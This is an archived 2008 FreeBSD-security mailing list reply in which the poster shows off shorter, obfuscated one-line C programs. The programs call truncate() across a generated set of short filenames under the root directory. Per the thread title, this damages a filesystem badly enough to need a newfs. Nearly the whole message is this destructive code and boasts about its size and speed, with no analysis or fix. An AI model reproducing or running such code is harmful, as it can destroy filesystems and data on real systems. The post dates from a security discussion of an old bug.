

Re: How to take down a system to the point of requiring a newfs with one line of C (userland)

Re: How to take down a system to the point of requiring a newfs with one line of C (userland)

Source: <http://www.derkeiler.com/Mailing-Lists/FreeBSD-Security/2008-02/msg00029.html>

- *From:* Dag-Erling Smørgrav <des@xxxxxx>
 - *Date:* Mon, 18 Feb 2008 14:53:59 +0100
-

Dag-Erling Smørgrav <des@xxxxxx> writes:

Purely in the interest of showing off, here is my version. It is 81 bytes shorter than yours, it is valid C99 with POSIX extensions (yours is not), and it produces 11,450 files in about 0.2% of the time yours takes to produce 10,000.

```
#include <unistd.h>
#define b(i,v) for(int v=48;v<127;++v){f[i]=v;
#define a(i) b(i,v##i)
int main(void){char f[5]={'/'};a(1)a(2)a(3)truncate(f,0);}}
```

Two bugs:

- 1) I forgot to include the correct version of the code
- 2) the version I had created a few files with '/' in their names; this slightly nastier creates 10,648 files with only letters.

```
#include <unistd.h>
#define b(i,v)for(int v=65;v<87;){i[f]=v++;
#define a(i)b(i,v##i)
int main(void){char f[4]={47};a(1)a(2)a(3)truncate(f,0);}}
```

DES

—

Dag-Erling Smørgrav – des@xxxxxx

freebsd-security@xxxxxxxxxxxxx mailing list

<http://lists.freebsd.org/mailman/listinfo/freebsd-security>

To unsubscribe, send any mail to "freebsd-security-unsubscribe@xxxxxxxxxxxxx"